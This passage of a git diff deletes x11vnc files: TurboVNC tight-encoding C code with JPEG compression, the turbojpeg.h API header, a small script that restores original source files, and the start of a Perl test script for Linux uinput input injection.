- for (i = 0; i < compressedLen; i += portionLen) {
- if (i + portionLen > compressedLen) {
- portionLen = compressedLen - i;
- }
- if (ublen + portionLen > UPDATE_BUF_SIZE) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
- memcpy(&updateBuf[ublen], &buf[i], portionLen);
- ublen += portionLen;
- }
- cl->rfbBytesSent[rfbEncodingTight] += compressedLen;
- return TRUE;
-}
-
-/*
- * Code to determine how many different colors used in rectangle.
- */
-
-static void
-FillPalette8(count)
- int count;
-{
- CARD8 *data = (CARD8 *)tightBeforeBuf;
- CARD8 c0, c1;
- int i, n0, n1;
-
- paletteNumColors = 0;
-
- c0 = data[0];
- for (i = 1; i < count && data[i] == c0; i++);
- if (i == count) {
- paletteNumColors = 1;
- return; /* Solid rectangle */
- }
-
- if (paletteMaxColors < 2)
- return;
-
- n0 = i;
- c1 = data[i];
- n1 = 0;
- for (i++; i < count; i++) {
- if (data[i] == c0) {
- n0++;
- } else if (data[i] == c1) {
- n1++;
- } else
- break;
- }
- if (i == count) {
- if (n0 > n1) {
- monoBackground = (CARD32)c0;
- monoForeground = (CARD32)c1;
- } else {
- monoBackground = (CARD32)c1;
- monoForeground = (CARD32)c0;
- }
- paletteNumColors = 2; /* Two colors */
- }
-}
-
-#define DEFINE_FILL_PALETTE_FUNCTION(bpp) \
- \
-static void \
-FillPalette##bpp(count) \
- int count; \
-{ \
- CARD##bpp *data = (CARD##bpp *)tightBeforeBuf; \
- CARD##bpp c0, c1, ci; \
- int i, n0, n1, ni; \
- \
- c0 = data[0]; \
- for (i = 1; i < count && data[i] == c0; i++); \
- if (i >= count) { \
- paletteNumColors = 1; /* Solid rectangle */ \
- return; \
- } \
- \
- if (paletteMaxColors < 2) { \
- paletteNumColors = 0; /* Full-color encoding preferred */ \
- return; \
- } \
- \
- n0 = i; \
- c1 = data[i]; \
- n1 = 0; \
- for (i++; i < count; i++) { \
- ci = data[i]; \
- if (ci == c0) { \
- n0++; \
- } else if (ci == c1) { \
- n1++; \
- } else \
- break; \
- } \
- if (i >= count) { \
- if (n0 > n1) { \
- monoBackground = (CARD32)c0; \
- monoForeground = (CARD32)c1; \
- } else { \
- monoBackground = (CARD32)c1; \
- monoForeground = (CARD32)c0; \
- } \
- paletteNumColors = 2; /* Two colors */ \
- return; \
- } \
- \
- PaletteReset(); \
- PaletteInsert (c0, (CARD32)n0, bpp); \
- PaletteInsert (c1, (CARD32)n1, bpp); \
- \
- ni = 1; \
- for (i++; i < count; i++) { \
- if (data[i] == ci) { \
- ni++; \
- } else { \
- if (!PaletteInsert (ci, (CARD32)ni, bpp)) \
- return; \
- ci = data[i]; \
- ni = 1; \
- } \
- } \
- PaletteInsert (ci, (CARD32)ni, bpp); \
-}
-
-DEFINE_FILL_PALETTE_FUNCTION(16)
-DEFINE_FILL_PALETTE_FUNCTION(32)
-
-#define DEFINE_FAST_FILL_PALETTE_FUNCTION(bpp) \
- \
-static void \
-FastFillPalette##bpp(cl, data, w, pitch, h) \
- rfbClientPtr cl; \
- CARD##bpp *data; \
- int w, pitch, h; \
-{ \
- CARD##bpp c0, c1, ci, mask, c0t, c1t, cit; \
- int i, j, i2, j2, n0, n1, ni; \
- \
- if (cl->translateFn != rfbTranslateNone) { \
- mask = rfbServerFormat.redMax << rfbServerFormat.redShift; \
- mask |= rfbServerFormat.greenMax << rfbServerFormat.greenShift; \
- mask |= rfbServerFormat.blueMax << rfbServerFormat.blueShift; \
- } else mask = ~0; \
- \
- c0 = data[0] & mask; \
- for (j = 0; j < h; j++) { \
- for (i = 0; i < w; i++) { \
- if ((data[j * pitch + i] & mask) != c0) \
- goto done; \
- } \
- } \
- done: \
- if (j >= h) { \
- paletteNumColors = 1; /* Solid rectangle */ \
- return; \
- } \
- if (paletteMaxColors < 2) { \
- paletteNumColors = 0; /* Full-color encoding preferred */ \
- return; \
- } \
- \
- n0 = j * w + i; \
- c1 = data[j * pitch + i] & mask; \
- n1 = 0; \
- i++; if (i >= w) {i = 0; j++;} \
- for (j2 = j; j2 < h; j2++) { \
- for (i2 = i; i2 < w; i2++) { \
- ci = data[j2 * pitch + i2] & mask; \
- if (ci == c0) { \
- n0++; \
- } else if (ci == c1) { \
- n1++; \
- } else \
- goto done2; \
- } \
- i = 0; \
- } \
- done2: \
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat, \
- &cl->format, (char *)&c0, (char *)&c0t, bpp/8, \
- 1, 1); \
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat, \
- &cl->format, (char *)&c1, (char *)&c1t, bpp/8, \
- 1, 1); \
- if (j2 >= h) { \
- if (n0 > n1) { \
- monoBackground = (CARD32)c0t; \
- monoForeground = (CARD32)c1t; \
- } else { \
- monoBackground = (CARD32)c1t; \
- monoForeground = (CARD32)c0t; \
- } \
- paletteNumColors = 2; /* Two colors */ \
- return; \
- } \
- \
- PaletteReset(); \
- PaletteInsert (c0t, (CARD32)n0, bpp); \
- PaletteInsert (c1t, (CARD32)n1, bpp); \
- \
- ni = 1; \
- i2++; if (i2 >= w) {i2 = 0; j2++;} \
- for (j = j2; j < h; j++) { \
- for (i = i2; i < w; i++) { \
- if ((data[j * pitch + i] & mask) == ci) { \
- ni++; \
- } else { \
- (*cl->translateFn)(cl->translateLookupTable, \
- &rfbServerFormat, &cl->format, \
- (char *)&ci, (char *)&cit, bpp/8, \
- 1, 1); \
- if (!PaletteInsert (cit, (CARD32)ni, bpp)) \
- return; \
- ci = data[j * pitch + i] & mask; \
- ni = 1; \
- } \
- } \
- i2 = 0; \
- } \
- \
- (*cl->translateFn)(cl->translateLookupTable, &rfbServerFormat, \
- &cl->format, (char *)&ci, (char *)&cit, bpp/8, \
- 1, 1); \
- PaletteInsert (cit, (CARD32)ni, bpp); \
-}
-
-DEFINE_FAST_FILL_PALETTE_FUNCTION(16)
-DEFINE_FAST_FILL_PALETTE_FUNCTION(32)
-
-
-/*
- * Functions to operate with palette structures.
- */
-
-#define HASH_FUNC16(rgb) ((int)((((rgb) >> 8) + (rgb)) & 0xFF))
-#define HASH_FUNC32(rgb) ((int)((((rgb) >> 16) + ((rgb) >> 8)) & 0xFF))
-
-static void
-PaletteReset(void)
-{
- paletteNumColors = 0;
- memset(palette.hash, 0, 256 * sizeof(COLOR_LIST *));
-}
-
-static int
-PaletteInsert(rgb, numPixels, bpp)
- CARD32 rgb;
- int numPixels;
- int bpp;
-{
- COLOR_LIST *pnode;
- COLOR_LIST *prev_pnode = NULL;
- int hash_key, idx, new_idx, count;
-
- hash_key = (bpp == 16) ? HASH_FUNC16(rgb) : HASH_FUNC32(rgb);
-
- pnode = palette.hash[hash_key];
-
- while (pnode != NULL) {
- if (pnode->rgb == rgb) {
- /* Such palette entry already exists. */
- new_idx = idx = pnode->idx;
- count = palette.entry[idx].numPixels + numPixels;
- if (new_idx && palette.entry[new_idx-1].numPixels < count) {
- do {
- palette.entry[new_idx] = palette.entry[new_idx-1];
- palette.entry[new_idx].listNode->idx = new_idx;
- new_idx--;
- }
- while (new_idx && palette.entry[new_idx-1].numPixels < count);
- palette.entry[new_idx].listNode = pnode;
- pnode->idx = new_idx;
- }
- palette.entry[new_idx].numPixels = count;
- return paletteNumColors;
- }
- prev_pnode = pnode;
- pnode = pnode->next;
- }
-
- /* Check if palette is full. */
- if (paletteNumColors == 256 || paletteNumColors == paletteMaxColors) {
- paletteNumColors = 0;
- return 0;
- }
-
- /* Move palette entries with lesser pixel counts. */
- for ( idx = paletteNumColors;
- idx > 0 && palette.entry[idx-1].numPixels < numPixels;
- idx-- ) {
- palette.entry[idx] = palette.entry[idx-1];
- palette.entry[idx].listNode->idx = idx;
- }
-
- /* Add new palette entry into the freed slot. */
- pnode = &palette.list[paletteNumColors];
- if (prev_pnode != NULL) {
- prev_pnode->next = pnode;
- } else {
- palette.hash[hash_key] = pnode;
- }
- pnode->next = NULL;
- pnode->idx = idx;
- pnode->rgb = rgb;
- palette.entry[idx].listNode = pnode;
- palette.entry[idx].numPixels = numPixels;
-
- return (++paletteNumColors);
-}
-
-
-/*
- * Converting 32-bit color samples into 24-bit colors.
- * Should be called only when redMax, greenMax and blueMax are 255.
- * Color components assumed to be byte-aligned.
- */
-
-static void Pack24(buf, fmt, count)
- char *buf;
- rfbPixelFormat *fmt;
- int count;
-{
- CARD32 *buf32;
- CARD32 pix;
- int r_shift, g_shift, b_shift;
-
- buf32 = (CARD32 *)buf;
-
- if (!rfbServerFormat.bigEndian == !fmt->bigEndian) {
- r_shift = fmt->redShift;
- g_shift = fmt->greenShift;
- b_shift = fmt->blueShift;
- } else {
- r_shift = 24 - fmt->redShift;
- g_shift = 24 - fmt->greenShift;
- b_shift = 24 - fmt->blueShift;
- }
-
- while (count--) {
- pix = *buf32++;
- *buf++ = (char)(pix >> r_shift);
- *buf++ = (char)(pix >> g_shift);
- *buf++ = (char)(pix >> b_shift);
- }
-}
-
-
-/*
- * Converting truecolor samples into palette indices.
- */
-
-#define DEFINE_IDX_ENCODE_FUNCTION(bpp) \
- \
-static void \
-EncodeIndexedRect##bpp(buf, count) \
- CARD8 *buf; \
- int count; \
-{ \
- COLOR_LIST *pnode; \
- CARD##bpp *src; \
- CARD##bpp rgb; \
- int rep = 0; \
- \
- src = (CARD##bpp *) buf; \
- \
- while (count--) { \
- rgb = *src++; \
- while (count && *src == rgb) { \
- rep++, src++, count--; \
- } \
- pnode = palette.hash[HASH_FUNC##bpp(rgb)]; \
- while (pnode != NULL) { \
- if ((CARD##bpp)pnode->rgb == rgb) { \
- *buf++ = (CARD8)pnode->idx; \
- while (rep) { \
- *buf++ = (CARD8)pnode->idx; \
- rep--; \
- } \
- break; \
- } \
- pnode = pnode->next; \
- } \
- } \
-}
-
-DEFINE_IDX_ENCODE_FUNCTION(16)
-DEFINE_IDX_ENCODE_FUNCTION(32)
-
-#define DEFINE_MONO_ENCODE_FUNCTION(bpp) \
- \
-static void \
-EncodeMonoRect##bpp(buf, w, h) \
- CARD8 *buf; \
- int w, h; \
-{ \
- CARD##bpp *ptr; \
- CARD##bpp bg; \
- unsigned int value, mask; \
- int aligned_width; \
- int x, y, bg_bits; \
- \
- ptr = (CARD##bpp *) buf; \
- bg = (CARD##bpp) monoBackground; \
- aligned_width = w - w % 8; \
- \
- for (y = 0; y < h; y++) { \
- for (x = 0; x < aligned_width; x += 8) { \
- for (bg_bits = 0; bg_bits < 8; bg_bits++) { \
- if (*ptr++ != bg) \
- break; \
- } \
- if (bg_bits == 8) { \
- *buf++ = 0; \
- continue; \
- } \
- mask = 0x80 >> bg_bits; \
- value = mask; \
- for (bg_bits++; bg_bits < 8; bg_bits++) { \
- mask >>= 1; \
- if (*ptr++ != bg) { \
- value |= mask; \
- } \
- } \
- *buf++ = (CARD8)value; \
- } \
- \
- mask = 0x80; \
- value = 0; \
- if (x >= w) \
- continue; \
- \
- for (; x < w; x++) { \
- if (*ptr++ != bg) { \
- value |= mask; \
- } \
- mask >>= 1; \
- } \
- *buf++ = (CARD8)value; \
- } \
-}
-
-DEFINE_MONO_ENCODE_FUNCTION(8)
-DEFINE_MONO_ENCODE_FUNCTION(16)
-DEFINE_MONO_ENCODE_FUNCTION(32)
-
-/*
- * JPEG compression stuff.
- */
-
-static unsigned long jpegDstDataLen;
-static tjhandle j=NULL;
-
-static Bool
-SendJpegRect(cl, x, y, w, h, quality)
- rfbClientPtr cl;
- int x, y, w, h;
- int quality;
-{
- int dy;
- unsigned char *srcbuf;
- int ps=rfbServerFormat.bitsPerPixel/8;
- int subsamp=subsampLevel2tjsubsamp[subsampLevel];
- unsigned long size=0;
- int flags=0, pitch;
- unsigned char *tmpbuf=NULL;
-
- if (rfbServerFormat.bitsPerPixel == 8)
- return SendFullColorRect(cl, w, h);
-
-
- if(ps<2) {
- rfbLog("Error: JPEG requires 16-bit, 24-bit, or 32-bit pixel format.\n");
- return 0;
- }
- if(!j) {
- if((j=tjInitCompress())==NULL) {
- rfbLog("JPEG Error: %s\n", tjGetErrorStr()); return 0;
- }
- }
-
- if (tightAfterBufSize < TJBUFSIZE(w,h)) {
- if (tightAfterBuf == NULL)
- tightAfterBuf = (char *)xalloc(TJBUFSIZE(w,h));
- else
- tightAfterBuf = (char *)xrealloc(tightAfterBuf,
- TJBUFSIZE(w,h));
- if(!tightAfterBuf) {
- rfbLog("Memory allocation failure!\n");
- return 0;
- }
- tightAfterBufSize = TJBUFSIZE(w,h);
- }
-
- if (ps == 2) {
- CARD16 *srcptr, pix;
- unsigned char *dst;
- int inRed, inGreen, inBlue, i, j;
-
- if((tmpbuf=(unsigned char *)malloc(w*h*3))==NULL)
- rfbLog("Memory allocation failure!\n");
- srcptr = (CARD16 *)
- &rfbScreen.pfbMemory[y * rfbScreen.paddedWidthInBytes +
- x * ps];
- dst = tmpbuf;
- for(j=0; j<h; j++) {
- CARD16 *srcptr2=srcptr;
- unsigned char *dst2=dst;
- for(i=0; i<w; i++) {
- pix = *srcptr2++;
- inRed = (int)
- (pix >> rfbServerFormat.redShift & rfbServerFormat.redMax);
- inGreen = (int)
- (pix >> rfbServerFormat.greenShift & rfbServerFormat.greenMax);
- inBlue = (int)
- (pix >> rfbServerFormat.blueShift & rfbServerFormat.blueMax);
- *dst2++ = (CARD8)((inRed * 255 + rfbServerFormat.redMax / 2) /
- rfbServerFormat.redMax);
- *dst2++ = (CARD8)((inGreen * 255 + rfbServerFormat.greenMax / 2) /
- rfbServerFormat.greenMax);
- *dst2++ = (CARD8)((inBlue * 255 + rfbServerFormat.blueMax / 2) /
- rfbServerFormat.blueMax);
- }
- srcptr+=rfbScreen.paddedWidthInBytes/ps;
- dst+=w*3;
- }
- srcbuf = tmpbuf;
- pitch = w*3;
- ps = 3;
- } else {
- if(rfbServerFormat.bigEndian && ps==4) flags|=TJ_ALPHAFIRST;
- if(rfbServerFormat.redShift==16 && rfbServerFormat.blueShift==0)
- flags|=TJ_BGR;
- if(rfbServerFormat.bigEndian) flags^=TJ_BGR;
- srcbuf=(unsigned char *)&rfbScreen.pfbMemory[y *
- rfbScreen.paddedWidthInBytes + x * ps];
- pitch=rfbScreen.paddedWidthInBytes;
- }
-
- if(tjCompress(j, srcbuf, w, pitch, h, ps, (unsigned char *)tightAfterBuf,
- &size, subsamp, quality, flags)==-1) {
- rfbLog("JPEG Error: %s\n", tjGetErrorStr());
- if(tmpbuf) {free(tmpbuf); tmpbuf=NULL;}
- return 0;
- }
- jpegDstDataLen=(int)size;
-
- if(tmpbuf) {free(tmpbuf); tmpbuf=NULL;}
-
- if (ublen + TIGHT_MIN_TO_COMPRESS + 1 > UPDATE_BUF_SIZE) {
- if (!rfbSendUpdateBuf(cl))
- return FALSE;
- }
-
- updateBuf[ublen++] = (char)(rfbTightJpeg << 4);
- cl->rfbBytesSent[rfbEncodingTight]++;
-
- return SendCompressedData(cl, tightAfterBuf, jpegDstDataLen);
-}
diff --git a/x11vnc/misc/turbovnc/turbojpeg.h b/x11vnc/misc/turbovnc/turbojpeg.h
deleted file mode 100644
index 8a6af05..0000000
--- a/x11vnc/misc/turbovnc/turbojpeg.h
+++ /dev/null
@@ -1,229 +0,0 @@
-/* Copyright (C)2004 Landmark Graphics
- * Copyright (C)2005, 2006 Sun Microsystems, Inc.
- *
- * This library is free software and may be redistributed and/or modified under
- * the terms of the wxWindows Library License, Version 3 or (at your option)
- * any later version. The full license is in the LICENSE.txt file included
- * with this distribution.
- *
- * This library is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * wxWindows Library License for more details.
- */
-
-#if (defined(_MSC_VER) || defined(__CYGWIN__) || defined(__MINGW32__)) && defined(_WIN32) && defined(DLLDEFINE)
-#define DLLEXPORT __declspec(dllexport)
-#else
-#define DLLEXPORT
-#endif
-
-#define DLLCALL
-
-/* Subsampling */
-#define NUMSUBOPT 4
-
-enum {TJ_444=0, TJ_422, TJ_411, TJ_GRAYSCALE};
-
-/* Flags */
-#define TJ_BGR 1
-#define TJ_BOTTOMUP 2
-#define TJ_FORCEMMX 8 /* Force IPP to use MMX code even if SSE available */
-#define TJ_FORCESSE 16 /* Force IPP to use SSE1 code even if SSE2 available */
-#define TJ_FORCESSE2 32 /* Force IPP to use SSE2 code (useful if auto-detect is not working properly) */
-#define TJ_ALPHAFIRST 64 /* BGR buffer is ABGR and RGB buffer is ARGB */
-#define TJ_FORCESSE3 128 /* Force IPP to use SSE3 code (useful if auto-detect is not working properly) */
-
-typedef void* tjhandle;
-
-#define TJPAD(p) (((p)+3)&(~3))
-#ifndef max
- #define max(a,b) ((a)>(b)?(a):(b))
-#endif
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-/* API follows */
-
-
-/*
- tjhandle tjInitCompress(void)
-
- Creates a new JPEG compressor instance, allocates memory for the structures,
- and returns a handle to the instance. Most applications will only
- need to call this once at the beginning of the program or once for each
- concurrent thread. Don't try to create a new instance every time you
- compress an image, because this will cause performance to suffer.
-
- RETURNS: NULL on error
-*/
-DLLEXPORT tjhandle DLLCALL tjInitCompress(void);
-
-
-/*
- int tjCompress(tjhandle j,
- unsigned char *srcbuf, int width, int pitch, int height, int pixelsize,
- unsigned char *dstbuf, unsigned long *size,
- int jpegsubsamp, int jpegqual, int flags)
-
- [INPUT] j = instance handle previously returned from a call to
- tjInitCompress()
- [INPUT] srcbuf = pointer to user-allocated image buffer containing pixels in
- RGB(A) or BGR(A) form
- [INPUT] width = width (in pixels) of the source image
- [INPUT] pitch = bytes per line of the source image (width*pixelsize if the
- bitmap is unpadded, else TJPAD(width*pixelsize) if each line of the bitmap
- is padded to the nearest 32-bit boundary, such as is the case for Windows
- bitmaps. You can also be clever and use this parameter to skip lines, etc.,
- as long as the pitch is greater than 0.)
- [INPUT] height = height (in pixels) of the source image
- [INPUT] pixelsize = size (in bytes) of each pixel in the source image
- RGBA and BGRA: 4, RGB and BGR: 3
- [INPUT] dstbuf = pointer to user-allocated image buffer which will receive
- the JPEG image. Use the macro TJBUFSIZE(width, height) to determine
- the appropriate size for this buffer based on the image width and height.
- [OUTPUT] size = pointer to unsigned long which receives the size (in bytes)
- of the compressed image
- [INPUT] jpegsubsamp = Specifies either 4:1:1, 4:2:2, or 4:4:4 subsampling.
- When the image is converted from the RGB to YCbCr colorspace as part of the
- JPEG compression process, every other Cb and Cr (chrominance) pixel can be
- discarded to produce a smaller image with little perceptible loss of
- image clarity (the human eye is more sensitive to small changes in
- brightness than small changes in color.)
-
- TJ_411: 4:1:1 subsampling. Discards every other Cb, Cr pixel in both
- horizontal and vertical directions.
- TJ_422: 4:2:2 subsampling. Discards every other Cb, Cr pixel only in
- the horizontal direction.
- TJ_444: no subsampling.
- TJ_GRAYSCALE: Generate grayscale JPEG image
-
- [INPUT] jpegqual = JPEG quality (an integer between 0 and 100 inclusive.)
- [INPUT] flags = the bitwise OR of one or more of the following
-
- TJ_BGR: The components of each pixel in the source image are stored in
- B,G,R order, not R,G,B
- TJ_BOTTOMUP: The source image is stored in bottom-up (Windows) order,
- not top-down
- TJ_FORCEMMX: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use MMX code (bypass CPU auto-detection)
- TJ_FORCESSE: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use SSE code (bypass CPU auto-detection)
- TJ_FORCESSE2: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use SSE2 code (bypass CPU auto-detection)
- TJ_FORCESSE3: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use SSE3 code (bypass CPU auto-detection)
-
- RETURNS: 0 on success, -1 on error
-*/
-DLLEXPORT int DLLCALL tjCompress(tjhandle j,
- unsigned char *srcbuf, int width, int pitch, int height, int pixelsize,
- unsigned char *dstbuf, unsigned long *size,
- int jpegsubsamp, int jpegqual, int flags);
-
-DLLEXPORT unsigned long DLLCALL TJBUFSIZE(int width, int height);
-
-/*
- tjhandle tjInitDecompress(void)
-
- Creates a new JPEG decompressor instance, allocates memory for the
- structures, and returns a handle to the instance. Most applications will
- only need to call this once at the beginning of the program or once for each
- concurrent thread. Don't try to create a new instance every time you
- decompress an image, because this will cause performance to suffer.
-
- RETURNS: NULL on error
-*/
-DLLEXPORT tjhandle DLLCALL tjInitDecompress(void);
-
-
-/*
- int tjDecompressHeader(tjhandle j,
- unsigned char *srcbuf, unsigned long size,
- int *width, int *height)
-
- [INPUT] j = instance handle previously returned from a call to
- tjInitDecompress()
- [INPUT] srcbuf = pointer to a user-allocated buffer containing the JPEG image
- to decompress
- [INPUT] size = size of the JPEG image buffer (in bytes)
- [OUTPUT] width = width (in pixels) of the JPEG image
- [OUTPUT] height = height (in pixels) of the JPEG image
-
- RETURNS: 0 on success, -1 on error
-*/
-DLLEXPORT int DLLCALL tjDecompressHeader(tjhandle j,
- unsigned char *srcbuf, unsigned long size,
- int *width, int *height);
-
-
-/*
- int tjDecompress(tjhandle j,
- unsigned char *srcbuf, unsigned long size,
- unsigned char *dstbuf, int width, int pitch, int height, int pixelsize,
- int flags)
-
- [INPUT] j = instance handle previously returned from a call to
- tjInitDecompress()
- [INPUT] srcbuf = pointer to a user-allocated buffer containing the JPEG image
- to decompress
- [INPUT] size = size of the JPEG image buffer (in bytes)
- [INPUT] dstbuf = pointer to user-allocated image buffer which will receive
- the bitmap image. This buffer should normally be pitch*height
- bytes in size, although this pointer may also be used to decompress into
- a specific region of a larger buffer.
- [INPUT] width = width (in pixels) of the destination image
- [INPUT] pitch = bytes per line of the destination image (width*pixelsize if the
- bitmap is unpadded, else TJPAD(width*pixelsize) if each line of the bitmap
- is padded to the nearest 32-bit boundary, such as is the case for Windows
- bitmaps. You can also be clever and use this parameter to skip lines, etc.,
- as long as the pitch is greater than 0.)
- [INPUT] height = height (in pixels) of the destination image
- [INPUT] pixelsize = size (in bytes) of each pixel in the destination image
- RGBA/RGBx and BGRA/BGRx: 4, RGB and BGR: 3
- [INPUT] flags = the bitwise OR of one or more of the following
-
- TJ_BGR: The components of each pixel in the destination image should be
- written in B,G,R order, not R,G,B
- TJ_BOTTOMUP: The destination image should be stored in bottom-up
- (Windows) order, not top-down
- TJ_FORCEMMX: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use MMX code (bypass CPU auto-detection)
- TJ_FORCESSE: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use SSE code (bypass CPU auto-detection)
- TJ_FORCESSE2: Valid only for the Intel Performance Primitives implementation
- of this codec-- force IPP to use SSE2 code (bypass CPU auto-detection)
-
- RETURNS: 0 on success, -1 on error
-*/
-DLLEXPORT int DLLCALL tjDecompress(tjhandle j,
- unsigned char *srcbuf, unsigned long size,
- unsigned char *dstbuf, int width, int pitch, int height, int pixelsize,
- int flags);
-
-
-/*
- int tjDestroy(tjhandle h)
-
- Frees structures associated with a compression or decompression instance
-
- [INPUT] h = instance handle (returned from a previous call to
- tjInitCompress() or tjInitDecompress()
-
- RETURNS: 0 on success, -1 on error
-*/
-DLLEXPORT int DLLCALL tjDestroy(tjhandle h);
-
-
-/*
- char *tjGetErrorStr(void)
-
- Returns a descriptive error message explaining why the last command failed
-*/
-DLLEXPORT char* DLLCALL tjGetErrorStr(void);
-
-#ifdef __cplusplus
-}
-#endif
diff --git a/x11vnc/misc/turbovnc/undo_turbovnc b/x11vnc/misc/turbovnc/undo_turbovnc
deleted file mode 100755
index e16691f..0000000
--- a/x11vnc/misc/turbovnc/undo_turbovnc
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/bin/sh
-#
-# This script has been (or is hereby) released into the public domain by
-# its author, Karl J. Runge <runge@karlrunge.com>. This applies worldwide.
-#
-# In case this is not legally possible: Karl J. Runge grants anyone the
-# right to use this work for any purpose, without any conditions, unless
-# such conditions are required by law.
-
-ldir="../../../libvncserver"
-
-if [ ! -f "$ldir/tight.c.ORIG" ]; then
- ls -l "$ldir/tight.c.ORIG"
- exit 1
-fi
-if [ ! -f "$ldir/rfbserver.c.ORIG" ]; then
- ls -l "$ldir/rfbserver.c.ORIG"
- exit 1
-fi
-
-set -xv
-rm -f "$ldir/tight.c" "$ldir/turbojpeg.h"
-mv "$ldir/tight.c.ORIG" "$ldir/tight.c"
-mv "$ldir/rfbserver.c.ORIG" "$ldir/rfbserver.c"
-ls -l $ldir/tight.c* $ldir/rfbserver.c*
diff --git a/x11vnc/misc/uinput.pl b/x11vnc/misc/uinput.pl
deleted file mode 100755
index 9620140..0000000
--- a/x11vnc/misc/uinput.pl
+++ /dev/null
@@ -1,946 +0,0 @@
-#!/usr/bin/perl
-
-# This is a test injection script for Linux uinput.
-# It can be handy working out / troubleshooting Linux uinput injection on a new device.
-
-#
-# Copyright (c) 2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# uinput.pl is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# uinput.pl is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with uinput.pl; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#
-
-set_constants();
-
-# options for what injection to handle:
-$rel = 1;
-$abs = 1;
-$touch = 1;
-$allkeys = 1;
-
-# these can be set via env:
-
-$WIDTH = $ENV{WIDTH};
-$WIDTH = 480 unless $WIDTH;
-$HEIGHT = $ENV{HEIGHT};
-$HEIGHT = 640 unless $HEIGHT;
-$DEV = $ENV{DEV};
-$DEV = "/dev/input/uinput" unless $DEV;
-
-# this fills in name and input type part of uinput_user_dev struct:
-
-$udev = "uinput.pl";
-$n = 80 - length($udev);
-$udev .= "\0" x $n;
-
-$udev .= "\0" x 2; # bus
-$udev .= "\0" x 2; # vendor
-$udev .= "\0" x 2; # product
-$udev .= "\0" x 2; # version
-
-$udev .= "\0" x 4; # ff_effects_max
-
-# this fills in the abs arrays:
-#
-foreach $type (qw(absmax absmin absfuzz absflat)) {
- $n = $ABS_MAX + 1;
- for ($j = 0; $j < $n; $j++) {
- if ($abs && $type eq 'absmax' && $j == $ABS_X) {
- $udev .= pack("i", $WIDTH-1);
- } elsif ($abs && $type eq 'absmax' && $j == $ABS_Y) {
- $udev .= pack("i", $HEIGHT-1);
- } else {
- $udev .= "\0" x 4;
- }
- }
-}
-
-print "udev: ", length($udev) . " '$udev'\n";
-
-$modes = $O_RDWR;
-$modes = $O_WRONLY | $O_NDELAY;
-printf("open modes: 0x%x\n", $modes);
-
-sysopen(FD, $DEV, $modes) || die "$DEV: $!";
-
-if ($rel) {
- io_ctl($UI_SET_EVBIT, $EV_REL);
- io_ctl($UI_SET_RELBIT, $REL_X);
- io_ctl($UI_SET_RELBIT, $REL_Y);
-}
-
-io_ctl($UI_SET_EVBIT, $EV_KEY);
-
-io_ctl($UI_SET_EVBIT, $EV_SYN);
-
-for ($i=0; $i < 256; $i++) {
- last unless $allkeys;
- io_ctl($UI_SET_KEYBIT, $i);
-}
-
-io_ctl($UI_SET_KEYBIT, $BTN_MOUSE);
-io_ctl($UI_SET_KEYBIT, $BTN_LEFT);
-io_ctl($UI_SET_KEYBIT, $BTN_MIDDLE);
-io_ctl($UI_SET_KEYBIT, $BTN_RIGHT);
-io_ctl($UI_SET_KEYBIT, $BTN_FORWARD);
-io_ctl($UI_SET_KEYBIT, $BTN_BACK);
-
-if ($abs) {
- io_ctl($UI_SET_KEYBIT, $BTN_TOUCH) if $touch;
- io_ctl($UI_SET_EVBIT, $EV_ABS);
- io_ctl($UI_SET_ABSBIT, $ABS_X);
- io_ctl($UI_SET_ABSBIT, $ABS_Y);
-}
-
-$ret = syswrite(FD, $udev, length($udev));
-print "syswrite: $ret\n";
-
-io_ctl($UI_DEV_CREATE);
-fsleep(0.25);
-
-# this should show our new virtual device:
-#
-system("cat /proc/bus/input/devices 1>&2");
-print STDERR "\n";
-
-#################################################
-# put in your various test injection events here:
-
-#do_key($KEY_A, 1, 0.1);
-#do_key($KEY_A, 0, 0.1);
-
-#do_key($KEY_POWER, 1, 0.1);
-#do_key($KEY_POWER, 0, 0.1);
-
-do_abs(118, 452, 0, 0.1);
-
-do_abs(110, 572, 1, 0.1);
-
-do_btn($BTN_TOUCH, 1, 0.1);
-do_btn($BTN_TOUCH, 0, 0.1);
-
-do_btn($BTN_MOUSE, 1, 0.1);
-do_btn($BTN_MOUSE, 0, 0.1);
-#################################################
-
-fsleep(0.25);
-io_ctl($UI_DEV_DESTROY);
-
-close(FD);
-
-exit(0);
-
-sub io_ctl {
- my ($cmd, $val) = @_;
- if (defined $val) {
- my $ret = syscall($linux_ioctl_syscall, fileno(FD), $cmd, $val);
- my $err = $!; $err = '' if $ret == 0;
- print STDERR "io_ctl(FD, $cmd, $val) = $ret $err\n";
- } else {
- my $ret = syscall($linux_ioctl_syscall, fileno(FD), $cmd);
- my $err = $!; $err = '' if $ret == 0;
- print STDERR "io_ctl(FD, $cmd) = $ret $err\n";
- }
-}
-
-sub do_syn {
- my $ev = gtod();
- $ev .= pack("S", $EV_SYN);
- $ev .= pack("S", $SYN_REPORT);
- $ev .= pack("i", 0);
- print STDERR "do_syn EV_SYN\n";
- my $ret = syswrite(FD, $ev, length($ev));
- if (!defined $ret) {
- print STDERR "do_syn: $!\n";
- }
-}
-
-sub do_key {
- my ($key, $down, $sleep) = @_;
- my $ev = gtod();
- $ev .= pack("S", $EV_KEY);
- $ev .= pack("S", $key);
- $ev .= pack("i", $down);
- print STDERR "do_key $key $down\n";
